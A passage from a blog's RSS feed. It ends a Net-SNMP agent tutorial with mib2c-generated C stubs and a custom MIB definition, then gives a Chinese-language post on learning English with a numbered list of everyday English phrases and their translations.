/&gt;#ifndef EXAMPLETABLE_CHECKFNS_H&lt;br /&gt;&lt;br /&gt;#define EXAMPLETABLE_CHECKFNS_H&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/** make sure we load the functions that you can modify */&lt;br /&gt;&lt;br /&gt;config_require(ExampleTable_checkfns_local)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* these functions are designed to check incoming values for&lt;br /&gt;&lt;br /&gt;columns in the ExampleTable table for legality with respect to&lt;br /&gt;&lt;br /&gt;datatype and value.&lt;br /&gt;&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;      int check_MonSet(int type, long *val, size_t val_len, long *old_val, size_t old_val_len);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#endif /* EXAMPLETABLE_CHECKFNS_H */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6.3.7       ExampleTable_checkfns_local.c&lt;br /&gt;&lt;br /&gt;/*ExampleTable_checkfns_local.c*/&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt; * Note: this file originally auto-generated by mib2c using&lt;br /&gt;&lt;br /&gt; *        : mib2c.check_values_local.conf,v 5.2 2004/05/04 23:34:56 hardaker Exp $&lt;br /&gt;&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* standard headers */&lt;br /&gt;&lt;br /&gt;#include &lt;net-snmp/net-snmp-config.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;net-snmp/net-snmp-includes.h&gt;&lt;br /&gt;&lt;br /&gt;#include &quot;ExampleTable_checkfns.h&quot;&lt;br /&gt;&lt;br /&gt;#include &quot;ExampleTable_enums.h&quot;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/** Decides if an incoming value for the MonSet mib node is legal, from a local implementation specific viewpoint.&lt;br /&gt;&lt;br /&gt; *  @param type    The incoming data type.&lt;br /&gt;&lt;br /&gt; *  @param val     The value to be checked.&lt;br /&gt;&lt;br /&gt; *  @param val_len The length of data stored in val (in bytes).&lt;br /&gt;&lt;br /&gt; *  @return 0 if the incoming value is legal, an SNMP error code otherwise.&lt;br /&gt;&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;    int&lt;br /&gt;&lt;br /&gt;    check_MonSet_local(int type, long *val, size_t val_len, long *old_val, size_t old_val_len) {&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /** XXX: you may want to check aspects of the new value that&lt;br /&gt;&lt;br /&gt;       were not covered by the automatic checks by the parent function. */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    /** XXX: you make want to check that the requested change from&lt;br /&gt;&lt;br /&gt;        the old value to the new value is legal (ie, the transistion&lt;br /&gt;&lt;br /&gt;        from one value to another is legal */&lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;&lt;br /&gt;    /** if everything looks ok, return SNMP_ERR_NOERROR */&lt;br /&gt;&lt;br /&gt;      return SNMP_ERR_NOERROR;&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;6.3.8       ExampleTable_checkfns_local.h&lt;br /&gt;&lt;br /&gt;/*ExampleTable_checkfns_local.h*/&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt; * Note: this file originally auto-generated by mib2c using&lt;br /&gt;&lt;br /&gt; *        : : mib2c.check_values_local.conf,v 5.2 2004/05/04 23:34:56 hardaker Exp $&lt;br /&gt;&lt;br /&gt; *&lt;br /&gt;&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#ifndef EXAMPLETABLE_CHECKFNS_H&lt;br /&gt;&lt;br /&gt;#define EXAMPLETABLE_CHECKFNS_H&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* these functions are designed to check incoming values for&lt;br /&gt;&lt;br /&gt;columns in the ExampleTable table for legality with respect to&lt;br /&gt;&lt;br /&gt;datatype and value according to local conventions.  You should modify&lt;br /&gt;&lt;br /&gt;them as appropriate.  They will be called from parent check_value&lt;br /&gt;&lt;br /&gt;functions that are auto-generated using mib2c and the parent functions&lt;br /&gt;&lt;br /&gt;should NOT be modified.&lt;br /&gt;&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    int check_MonSet_local(int type, long *val, size_t val_len, long *old_val, size_t old_val_len);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#endif /* EXAMPLETABLE_CHECKFNS_H */&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6.3.9       ExampleTable_columns.h&lt;br /&gt;&lt;br /&gt;/* ExampleTable_columns.h*/&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt; * Note: this file originally auto-generated by mib2c using&lt;br /&gt;&lt;br /&gt; *  : mib2c.column_defines.conf,v 5.1 2002/05/08 05:42:47 hardaker Exp $&lt;br /&gt;&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#ifndef EXAMPLETABLE_COLUMNS_H&lt;br /&gt;&lt;br /&gt;#define EXAMPLETABLE_COLUMNS_H&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/* column number definitions for table ExampleTable */&lt;br /&gt;&lt;br /&gt;       #define COLUMN_MACHINENUMBER        1&lt;br /&gt;&lt;br /&gt;       #define COLUMN_MACHINESTATUS          2&lt;br /&gt;&lt;br /&gt;       #define COLUMN_CHECKTIME           3&lt;br /&gt;&lt;br /&gt;       #define COLUMN_MONSET         4&lt;br /&gt;&lt;br /&gt;#endif /* EXAMPLETABLE_COLUMNS_H */&lt;br /&gt;6.3.10   ExampleTable_enums.h&lt;br /&gt;&lt;br /&gt;/* ExampleTable_enums.h*/&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;&lt;br /&gt; * Note: this file originally auto-generated by mib2c using&lt;br /&gt;&lt;br /&gt; *  : mib2c.column_enums.conf,v 5.2 2003/02/22 04:09:25 hardaker Exp $&lt;br /&gt;&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#ifndef EXAMPLETABLE_ENUMS_H&lt;br /&gt;&lt;br /&gt;#define EXAMPLETABLE_ENUMS_H&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#endif /* EXAMPLETABLE_ENUMS_H */&lt;br /&gt;6.4 自定义mib文件MyMib.txt&lt;br /&gt;&lt;br /&gt;MyMIB DEFINITIONS::=BEGIN&lt;br /&gt;&lt;br /&gt;       IMPORTS    &lt;br /&gt;&lt;br /&gt;              enterprises,OBJECT-TYPE,Integer32,TimeTicks&lt;br /&gt;&lt;br /&gt;                     FROM SNMPv2-SMI&lt;br /&gt;&lt;br /&gt;       TEXTUAL-CONVENTION,  DisplayString FROM SNMPv2-TC;&lt;br /&gt;&lt;br /&gt;       foxmail OBJECT IDENTIFIER::={enterprises 310}&lt;br /&gt;&lt;br /&gt;       SecondCounter OBJECT-TYPE&lt;br /&gt;&lt;br /&gt;              SYNTAX Integer32&lt;br /&gt;&lt;br /&gt;              ACCESS read-write&lt;br /&gt;&lt;br /&gt;              STATUS mandatory&lt;br /&gt;&lt;br /&gt;                DESCRIPTION &quot;This is a one minute counter from year 1970.1.1.0:0 to now&quot;&lt;br /&gt;&lt;br /&gt;              ::={foxmail 1}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       WeekTime OBJECT-TYPE&lt;br /&gt;&lt;br /&gt;              SYNTAX TimeTicks&lt;br /&gt;&lt;br /&gt;              ACCESS read-only&lt;br /&gt;&lt;br /&gt;              STATUS mandatory&lt;br /&gt;&lt;br /&gt;                DESCRIPTION &quot;Recording taday&#39;s time and the day sorts in the week&quot;&lt;br /&gt;&lt;br /&gt;              ::={foxmail 2}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       ExampleTable        OBJECT-TYPE&lt;br /&gt;&lt;br /&gt;              SYNTAX SEQUENCE OF ExampleEntry&lt;br /&gt;&lt;br /&gt;              MAX-ACCESS  not-accessible&lt;br /&gt;&lt;br /&gt;              STATUS current&lt;br /&gt;&lt;br /&gt;              DESCRIPTION&lt;br /&gt;&lt;br /&gt;            &quot;A list of interface entries.  The number of entries is&lt;br /&gt;&lt;br /&gt;            given by the value of ExampleNumber.&quot;&lt;br /&gt;&lt;br /&gt;                  ::= { foxmail 3 }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       ExampleEntry OBJECT-TYPE&lt;br /&gt;&lt;br /&gt;                  SYNTAX      ExampleEntry&lt;br /&gt;&lt;br /&gt;                  MAX-ACCESS  not-accessible&lt;br /&gt;&lt;br /&gt;                  STATUS      current&lt;br /&gt;&lt;br /&gt;                  DESCRIPTION&lt;br /&gt;&lt;br /&gt;            &quot;An entry containing management information applicable to a&lt;br /&gt;&lt;br /&gt;            particular interface.&quot;&lt;br /&gt;&lt;br /&gt;                  INDEX   { UserIndex }&lt;br /&gt;&lt;br /&gt;                  ::= { ExampleTable 1 }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       ExampleEntry ::=&lt;br /&gt;&lt;br /&gt;                  SEQUENCE {&lt;br /&gt;&lt;br /&gt;                             UserIndex           InterfaceIndex,&lt;br /&gt;&lt;br /&gt;                             UserStatus           DisplayString,&lt;br /&gt;&lt;br /&gt;                             CheckTime               TimeTicks,&lt;br /&gt;&lt;br /&gt;                            MonSet                  Integer32&lt;br /&gt;&lt;br /&gt;                            }    &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  InterfaceIndex ::= TEXTUAL-CONVENTION&lt;br /&gt;&lt;br /&gt;    DISPLAY-HINT &quot;d&quot;&lt;br /&gt;&lt;br /&gt;    STATUS       current&lt;br /&gt;&lt;br /&gt;    DESCRIPTION&lt;br /&gt;&lt;br /&gt;            &quot;A unique value, greater than zero, for each interface or&lt;br /&gt;&lt;br /&gt;            interface sub-layer in the managed system.  It is&lt;br /&gt;&lt;br /&gt;            recommended that values are assigned contiguously starting&lt;br /&gt;&lt;br /&gt;            from 1.  The value for each interface sub-layer must remain&lt;br /&gt;&lt;br /&gt;            constant at least from one re-initialization of the entity&#39;s&lt;br /&gt;&lt;br /&gt;            network management system to the next re-initialization.&quot;&lt;br /&gt;&lt;br /&gt;    SYNTAX       Integer32 (1..2147483647)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       UserIndex OBJECT-TYPE&lt;br /&gt;&lt;br /&gt;                  SYNTAX      InterfaceIndex&lt;br /&gt;&lt;br /&gt;              MAX-ACCESS  read-only&lt;br /&gt;&lt;br /&gt;              STATUS      current&lt;br /&gt;&lt;br /&gt;                  DESCRIPTION&lt;br /&gt;&lt;br /&gt;            &quot;A unique value, greater than zero, for each interface.  It&lt;br /&gt;&lt;br /&gt;            is recommended that values are assigned contiguously&lt;br /&gt;&lt;br /&gt;            starting from 1.  The value for each interface sub-layer&lt;br /&gt;&lt;br /&gt;            must remain constant at least from one re-initialization of&lt;br /&gt;&lt;br /&gt;            the entity&#39;s network management system to the next re-&lt;br /&gt;&lt;br /&gt;            initialization.&quot;&lt;br /&gt;&lt;br /&gt;                ::= { ExampleEntry 1 }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       UserStatus OBJECT-TYPE&lt;br /&gt;&lt;br /&gt;                  SYNTAX      DisplayString&lt;br /&gt;&lt;br /&gt;                  MAX-ACCESS  read-only&lt;br /&gt;&lt;br /&gt;                  STATUS      current&lt;br /&gt;&lt;br /&gt;                  DESCRIPTION&lt;br /&gt;&lt;br /&gt;            &quot;machine status .&quot;&lt;br /&gt;&lt;br /&gt;                  ::= { ExampleEntry 2 }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       CheckTime OBJECT-TYPE&lt;br /&gt;&lt;br /&gt;                  SYNTAX      TimeTicks&lt;br /&gt;&lt;br /&gt;                  MAX-ACCESS  read-only&lt;br /&gt;&lt;br /&gt;                  STATUS      current&lt;br /&gt;&lt;br /&gt;                  DESCRIPTION&lt;br /&gt;&lt;br /&gt;            &quot;machine status checking time.&quot;&lt;br /&gt;&lt;br /&gt;                  ::= { ExampleEntry 3 }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       MonSet OBJECT-TYPE&lt;br /&gt;&lt;br /&gt;              SYNTAX Integer32&lt;br /&gt;&lt;br /&gt;              MAX-ACCESS read-write&lt;br /&gt;&lt;br /&gt;              STATUS current&lt;br /&gt;&lt;br /&gt;              DESCRIPTION&lt;br /&gt;&lt;br /&gt;             &quot;An example to use set function.&quot;&lt;br /&gt;&lt;br /&gt;              ::={ ExampleEntry 4}&lt;br /&gt;&lt;br /&gt;END&lt;br /&gt;&lt;br /&gt;From: http://bibu.blogchina.com/inc/net_snmp_doc.htm&lt;br /&gt;&lt;br /&gt;--&lt;br /&gt;Jiang Bian&lt;br /&gt;Blog:  http://www.b0rder.com/&lt;br /&gt;Mail:   borderj {at} gmail.com&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-2247116684077304?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/09/net-snmp-agent-mib.html</link><author>borderj@gmail.com (Border)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-2903481495294142000</guid><pubDate>Tue, 23 Sep 2008 08:24:00 +0000</pubDate><atom:updated>2008-09-23T16:24:07.568+08:00</atom:updated><title>英文学习资料ESLPod.com</title><description>&lt;div dir=&quot;ltr&quot;&gt;&lt;font size=&quot;2&quot;&gt;&lt;span class=&quot;fullpost&quot;&gt;&lt;/span&gt;&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br&gt;1. &lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;a href=&quot;http://kidd0601.blogspot.com/2007/05/podcast.html&quot;&gt;利用Podcast, 不用花錢也能練英文&lt;/a&gt;&lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;br&gt;&lt;a href=&quot;http://kidd0601.blogspot.com/2007/05/podcast.html&quot;&gt;http://kidd0601.blogspot.com/2007/05/podcast.html&lt;/a&gt;&lt;br&gt; &lt;br&gt;2. ESLPod.com 学习笔记 &lt;br&gt;&lt;br&gt;&lt;a href=&quot;http://kidd0601.blogspot.com/search/label/Podcast?max-results=5&quot;&gt;http://kidd0601.blogspot.com/search/label/Podcast?max-results=5&lt;/a&gt; &lt;br&gt;&lt;/font&gt;&lt;h3 class=&quot;post-title&quot;&gt;&lt;font size=&quot;2&quot;&gt;&lt;a href=&quot;http://kidd0601.blogspot.com/2007/05/esl-podcast-english-cafe-84.html&quot;&gt;ESL Podcast 筆記: English Cafe #84&lt;/a&gt;&lt;/font&gt;&lt;br&gt; &lt;/h3&gt;&lt;font size=&quot;2&quot;&gt;&lt;/font&gt;&lt;h3 class=&quot;post-title&quot;&gt;&lt;font size=&quot;2&quot;&gt;&lt;a href=&quot;http://kidd0601.blogspot.com/2007/05/esl-podcast-266-making-move-on-someone.html&quot;&gt;ESL Podcast 筆記: 266 - Making a Move on Someone&lt;/a&gt;&lt;/font&gt;&lt;/h3&gt;&lt;font size=&quot;2&quot;&gt;&lt;br&gt; 3. &lt;/font&gt;&lt;font size=&quot;2&quot;&gt;&lt;a href=&quot;http://kidd0601.blogspot.com/2007/04/228mp3.html&quot;&gt;228句英文口語(含mp3)&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;http://kidd0601.blogspot.com/2007/04/228mp3.html&quot;&gt;http://kidd0601.blogspot.com/2007/04/228mp3.html&lt;/a&gt;&lt;br&gt; &lt;br&gt;以下是228句英文口語要素, 附上mp3(我把原本的檔案分割成5個小段, 以方便大家練習).&lt;br&gt;&lt;br&gt;雖然這些句子其實很多都是耳熟能詳而且是很生活化的東西, 但對大部分人而言真的要做到脫口而出是需要多加練習的. 就像前言講的:&lt;br&gt;&lt;/font&gt;&lt;blockquote&gt;&lt;font size=&quot;2&quot;&gt;&lt;br&gt; &quot;不要只是反複地、機械地、大腦幾乎麻木地讀! 一定要把這些句子變成你的拿手好戲，隨時隨地脫口而出，並經常用來自言自語以保持口腔肌肉高度靈活!&quot;&lt;/font&gt;&lt;/blockquote&gt; &lt;font size=&quot;2&quot;&gt;&lt;br&gt;&lt;br&gt;建議把Word檔縮印出來, 把mp3放到你的mp3隨身聽, 每天給它練習唸個一遍吧.&lt;br&gt;&lt;br&gt;&lt;span class=&quot;fullpost&quot;&gt;&lt;br&gt;1． It&#39;s up to you.（由你決定。）&lt;br&gt;2． I envy you.（我羡慕你。）&lt;br&gt;3． How can I get in touch with you? / How can I contact you? / How can I reach you? (我如何與您連絡)&lt;br&gt; 4． Where can I wash my hands? （請問洗手間在哪里？）&lt;br&gt;5． What&#39;s the weather like today?（今天天氣如何？）&lt;br&gt;6． Where are you headed? （你要到哪里去？）&lt;br&gt;7． I wasn&#39;t born yesterday.（我又不是三歲小孩。）&lt;br&gt;8． What do you do for relaxation ?（你做什麼消遣？）&lt;br&gt; 9． It&#39;s a small world.（世界真小！）&lt;br&gt;10． It&#39;s my treat this time.（這次我請客！）&lt;br&gt;11． The sooner the better. （越快越好。）&lt;br&gt;12． When is the most convenient time for you?&lt;br&gt;13． Take your time.（慢慢來/別著急。）&lt;br&gt;14． I&#39;m mad about Bruce Lee.（我迷死李小龍了。）&lt;br&gt;     I&#39;m crazy about rock music. （我對搖滾樂很著迷。）&lt;br&gt;15． How do I address you?（我怎麼稱呼你？）&lt;br&gt;16． What was your name again? （請再說一次名字好嗎？）&lt;br&gt;17． Would you care for a cup of coffee?（要被咖啡嗎？）&lt;br&gt;18． She turns me off.（她使我厭煩。Turn on &lt;-&gt; turn off）&lt;br&gt; 19． So far so good.（目前為止，一切都好。）&lt;br&gt;20． It drives me crazy.（它把我逼瘋了。）&lt;br&gt;21． She never showed up.（她一直沒有出現。）&lt;br&gt;22． That&#39;s not like him.（那不像是他的風格。）&lt;br&gt;23． I couldn&#39;t get through.（電話打不通。）&lt;br&gt;24． I got sick and tired of hotels.（我討厭旅館。）&lt;br&gt; 25． Be my guest.（請便、別客氣）&lt;br&gt;26． Can you keep an eye on my bag?（幫我看一下包好嗎？）&lt;br&gt;27． Let&#39;s keep in touch.（讓我們保持聯繫。）&lt;br&gt;28． Let&#39;s call it a day[決定或同意暫時或永久停止（進行某事）&lt;br&gt;29． I couldn&#39;t help it.（我沒辦法。）&lt;br&gt;30． Something&#39;s come up[發生/出現].（有點事/出事了）&lt;br&gt; 31． Let&#39;s get to the point[要點/核心問題].（讓我們來談要點。）&lt;br&gt;32． Keep that in mind.（記住那件事。）&lt;br&gt;33． That was a close call.（太危險了/千鈞一髮）&lt;br&gt;34． I&#39;ll be looking forward to it.（我將期待這一天。）&lt;br&gt;35． Chances are slim[渺茫的；微小的].（機會很小。）&lt;br&gt; 36． Far from it.（一點也不。Not at all）&lt;br&gt;37． I&#39;m behind in my work.（我工作進度落後了。）&lt;br&gt;38． It&#39;s a pain in the neck[麻煩的事（人）].（那真是件麻煩事）&lt;br&gt;39． We&#39;re in the same boat.（我們處境相同。）&lt;br&gt;40． My mouth is watering.（我在流口水了。）&lt;br&gt;41． What do you recommend?（你推薦什麼？）&lt;br&gt; 42． I ache all over.（我渾身酸痛。）&lt;br&gt;43． I have a runny nose.（我流鼻涕。）&lt;br&gt;44． It&#39;s out of the question.（這是不可能的。）&lt;br&gt;45． Do you have any openings?（你們有空缺嗎？）&lt;br&gt;46． It doesn&#39;t make any difference.（沒什麼差別/無所謂。）&lt;br&gt;47． I&#39;m fed up with him.（我受夠他了。）&lt;br&gt; 48． You can count on us.（你可以信賴我們。）&lt;br&gt;49． It doesn&#39;t work.（壞了；不動了。）&lt;br&gt;50   It&#39;s better than nothing.（總比什麼都沒有好。）&lt;br&gt;51． Think nothing of it.（別放在心上。）&lt;br&gt;52． I&#39;m not myself today.（我今天心神不寧。）&lt;br&gt;53． I have a sweet tooth.（我喜歡吃甜食。）&lt;br&gt; 54． I can&#39;t express myself very well in English.（我不能很好地用英語表達自己。）&lt;br&gt;55． For the time being.（暫時；暫且；目前）&lt;br&gt;56． This milk has gone bad.（這牛奶變質了。）&lt;br&gt;57． Don&#39;t beat around the bush. （別拐彎抹角了。）&lt;br&gt;58． It&#39;s up in the air.（尚未確定。）&lt;br&gt; 59． Math is beyond me.（我對數學無能為力。）&lt;br&gt;60． It slipped my mind.（我忘了。）&lt;br&gt;61． You can&#39;t please everyone.（你不可能討好每一個人。）&lt;br&gt;62． I&#39;m working on it.（我正在努力。）&lt;br&gt;63． You bet!（當然！）/ I can&#39;t come out with it.&lt;br&gt;64． Drop me a line.（寫封信給我）&lt;br&gt; 65． Are you pulling my leg?（你在開我玩笑嗎？）&lt;br&gt;66． Sooner or later.（遲早會的。）&lt;br&gt;67． I&#39;ll keep my ears open.（我會留意的。）&lt;br&gt;68． It isn&#39;t much.（那是微不足道的。）&lt;br&gt;69． Neck and neck.（不分上下。）&lt;br&gt;70． I&#39;m feeling under the weather.（我覺得不舒服/精神不好/情緒低落。）&lt;br&gt; 71． Don&#39;t get me wrong[誤解].（不要誤會我。）&lt;br&gt;72． I&#39;m under a lot of pressure.（我壓力很大。）&lt;br&gt;73． You&#39;re the boss.（聽你的。）&lt;br&gt;74． It doesn&#39;t make any sense!（毫無意義！）&lt;br&gt;75． What&#39;s this regarding?（這是關於哪方面的？）&lt;br&gt;76． Over my dead body!（休想！）&lt;br&gt; 77． Can you give me a hand?（你能幫個忙嗎？）&lt;br&gt;78． We have thirty minutes to kill.（我們有三十分鐘空閒時間。）&lt;br&gt;79． Whatever you say.（隨便你。）&lt;br&gt;80． It&#39;ll come to me.（我會想起來的。）&lt;br&gt;81． You name it!（你說出來。）&lt;br&gt;82． If I were in your shoes.（如果我是你的話。）&lt;br&gt; 83． Time will tell.（時間會證明的。）&lt;br&gt;84． I will play it by ear.（我會見機行事的；到時候再說。）&lt;br&gt;85． You should take advantage of it.（你應該好好利用這個機會。）&lt;br&gt;86． Let&#39;s talk over coffee.（我們邊喝邊談。）&lt;br&gt;87． Take it easy.（輕鬆一點；別緊張；放鬆放鬆；再見。）[這是美國人最喜歡說的話，也可作離別用語。]&lt;br&gt; 88． I&#39;m easy to please（我很容易取悅/相處。）&lt;br&gt;89． Let&#39;s give him a big hand.（讓我們熱烈鼓掌。）&lt;br&gt;90． As far as I&#39;m concerned.（就我而言。）&lt;br&gt;91． I&#39;m all mixed up.（我全搞混了。）&lt;br&gt;92． Let&#39;s get together one of these days.（找一天聚聚。）&lt;br&gt; 93． He&#39;s behind the times.（他落伍了/跟不上時代了。Out of date）&lt;br&gt;94． I&#39;m pressed for time.（我時間緊迫。）&lt;br&gt;95． I&#39;m up to my ears in work.（我忙死了。）&lt;br&gt;96． You can&#39;t do this to me.（你不能這麼對我。）&lt;br&gt;97． Just to be on the safe side. （為了安全起見。）&lt;br&gt; 98． I hope I didn&#39;t offend you.（希望沒有冒犯你。）&lt;br&gt;99． It won&#39;t take much time.（不會花很長時間的。）&lt;br&gt;100． It&#39;s been a long time.（好久不見了。）&lt;br&gt;101． It&#39;s nothing.（小事情；不足掛齒。）&lt;br&gt;102． It&#39;s a long story.（說來話長。）&lt;br&gt;103． It&#39;s about time.（時間差不多了。）&lt;br&gt; 104． It&#39;s incredible.（難以置信！）&lt;br&gt;105． It&#39;s hard to say.（難說。）&lt;br&gt;106． I can&#39;t imagine why.（我想不通為什麼。）&lt;br&gt;107． That can&#39;t be.（不可能。）&lt;br&gt;108． That&#39;s really something.（真了不起。）&lt;br&gt;109． Are you sure?（你確信嗎？）&lt;br&gt;110． Are you crazy?（你瘋了嗎？）&lt;br&gt; 111． Excuse me for a moment.（失陪一會兒。）&lt;br&gt;112． I mean it. I&#39;m serious. I&#39;m no kidding!（我是認真的。）&lt;br&gt;113． I&#39;ll consider this matter.（我會考慮這件事的。）&lt;br&gt;114． I&#39;ll do something about it.（我會想辦法的。）&lt;br&gt;115． What are you talking about?（你在說些什麼？）&lt;br&gt; 116． I&#39;m afraid I can&#39;t.（恐怕我不行。）&lt;br&gt;117． I&#39;m dying to see you.（我真想見你。）&lt;br&gt;118． I&#39;m flattered.（過獎了。）&lt;br&gt;119． I&#39;m not in the mood.（我沒心情。）&lt;br&gt;120． I&#39;m so scared.（我怕極了。）&lt;br&gt;121． I can&#39;t make it.（我去不了/我趕不上。）&lt;br&gt; 122． You can never tell.（不知道/誰也沒把握。）&lt;br&gt;123． I won&#39;t buy your story.（我不信你那一套。）&lt;br&gt;124． That hurts like hell!（疼死啦！）&lt;br&gt;Must hurt like hell&lt;br&gt;125． It can&#39;t be helped.（無能為力。）&lt;br&gt;126． Sorry to bother you.（抱歉打擾你。[事前]）&lt;br&gt; Sorry to have bothered you.（抱歉打擾你。[事後]）&lt;br&gt;127． I&#39;m always punctual.（我總是很準時。）&lt;br&gt;128． You may leave it to me.（交給我來辦。）&lt;br&gt;129． I wish I could.（不行。）[委婉表達法]&lt;br&gt;130． What&#39;s the rush?（什麼事那麼匆忙？）&lt;br&gt;131． What&#39;s so funny（有什麼好笑的？）&lt;br&gt; 132． I couldn&#39;t agree more.（我完全同意。）&lt;br&gt;133． Stay out of this matter, please.（請別管這事。）&lt;br&gt;134． Don&#39;t just shake you head.（別光搖頭，想想辦法！）&lt;br&gt;135． Don&#39;t jump to conclusions.（別倉促/過早下結論。）&lt;br&gt;136． That was a lousy movie.（那電影糟透了！）&lt;br&gt; 137． Have you thought about staying home?（是否考慮在家呆著？）&lt;br&gt;138． I&#39;ll come. I give you my word.（我會來的。我向你保證。）&lt;br&gt;139． I swear I&#39;ll never tell anyone.（我發誓不告訴任何人。）&lt;br&gt;140． I&#39;ll make it up to you.（我會賠償的。）&lt;br&gt;141． I&#39;m very / really / terribly / awfully / extremely sorry.（十分抱歉！）&lt;br&gt; 142． Forgive me for breaking my promise.（原諒我食言。）&lt;br&gt;143． Let&#39;s forgive and forget.（讓我們擯棄前嫌。）&lt;br&gt;144． I&#39;ve heard so much about you!（久仰大名！）&lt;br&gt;145． Don&#39;t underestimate me.（別小看我。）&lt;br&gt;146． She gives me a headache.（她讓我頭疼。）&lt;br&gt; 147． It&#39;s very annoying.（真煩人。）&lt;br&gt;148． He often fails to keep his word.（他常常不遵守諾言。）&lt;br&gt;149． You made me feel ashamed of myself.（你讓我感到羞愧。）&lt;br&gt;150． I hope it turns out all right.（我希望結果很好。）&lt;br&gt;151． I can&#39;t handle this alone.（我無法單獨處理這事。）&lt;br&gt; 152． How long will it take to have this radio fixed?（修理這收音機要多久？）&lt;br&gt;153． Come to me if you&#39;re in any difficulty.（有困難來找我。）&lt;br&gt;154． Who do you think you are?（你以為你是誰？）&lt;br&gt;155． You&#39;re wasting you breath.（你在白費口舌。）&lt;br&gt;156． It doesn&#39;t seem like that.（似乎不像是那樣。）&lt;br&gt; 157． Don&#39;t get on my nerves!（不要攪得我心煩。）&lt;br&gt;158． Everything will be fine.（一切都會很好。）&lt;br&gt;159． I&#39;ll be ready in a few minutes.（再過幾分鐘就好了。）&lt;br&gt;160． I wonder what happened to him.（我不知道他出什麼事了。）&lt;br&gt;161． You are just trying to save face.（你只是想挽回面子。）&lt;br&gt; 162． His argument doesn&#39;t hold water.（他的論點站不住腳。）&lt;br&gt;163． Your face tells it all.（你的表情透露了一切。）&lt;br&gt;164． The days are getting longer.（白天越來越長了。）&lt;br&gt;165． You&#39;ve got to do something.（你一定要想辦法。）&lt;br&gt;166． I hope this will teach you a lesson.（希望這會給你一個教訓。）&lt;br&gt; 167． I feel younger than ever.（我覺得比以前年輕。）&lt;br&gt;168． It&#39;s a hard job, but I hope he can make it.（這是件困難的差事，但我希望他能做到。）&lt;br&gt;169． Don&#39;t look wise.（別自作聰明。）&lt;br&gt;170． I&#39;m afraid all my efforts were in vain.（我擔心我的努力全白費了。）&lt;br&gt; 171． What happened to you memory?（你的記性是怎麼搞的？）&lt;br&gt;172． You&#39;re going too far!（你太過分了！）&lt;br&gt;173． Don&#39;t bury your head in the sand.（不要逃避現實。）&lt;br&gt;174． I have no other choice.（我別無選擇。）&lt;br&gt;175． I don&#39;t have the nerve to do it.（我沒膽/勇氣去做。）&lt;br&gt; 176． It&#39;s a matter of life and death.（事關生死。）&lt;br&gt;177． Nothing works.（什麼都不對勁兒。）&lt;br&gt;178． Money will come and go.（錢乃身外之物。）&lt;br&gt;179． He&#39;s been behind bars for almost 30 years.（他坐了將近30年牢。）&lt;br&gt;180． If I had known that, I could have helped you.（假如我早知道，我就能幫你了。）[最實用的虛擬語氣]&lt;br&gt; 181． I couldn&#39;t care less.（我不在乎。）&lt;br&gt;182． You have my word.（我保證。）&lt;br&gt;183． He hit the ceiling at the news.（他聽到那消息暴跳如雷/大發雷霆。）&lt;br&gt;184． I don&#39;t mind staying up late.（我不在乎熬夜。）&lt;br&gt;185． You&#39;re too outspoken.（你太直率了。）&lt;br&gt; 186． I can&#39;t afford to buy that.（我承擔/買不起。）&lt;br&gt;187． I think it&#39;s a reasonable price.（我覺得這是個合理的價錢。）&lt;br&gt;188． I&#39;d like to try on these hats.（我想試試這些帽子。）&lt;br&gt;189． He puts me to shame.（他使我蒙羞。）&lt;br&gt;190． Every dog has its day.（凡人皆有得意時。）&lt;br&gt; 191． Don&#39;t give me any 